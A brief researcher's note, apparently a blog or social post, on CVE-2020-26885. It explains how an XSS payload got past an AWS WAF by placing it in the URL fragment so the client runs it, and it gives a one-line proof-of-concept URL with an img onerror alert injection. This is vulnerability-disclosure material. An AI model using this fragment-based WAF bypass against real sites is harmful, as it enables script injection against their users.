For CVE-2020-26885, the AWS WAF made it difficult to get XSS payloads through to the server, but I was able to rely on the client to execute one by using the anchor tag in the URL to exploit it:
/test.html#variable1=true&app=3&version=">IMG%20SRC=%23%20onerror="alert('burninatorsec')">
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-26885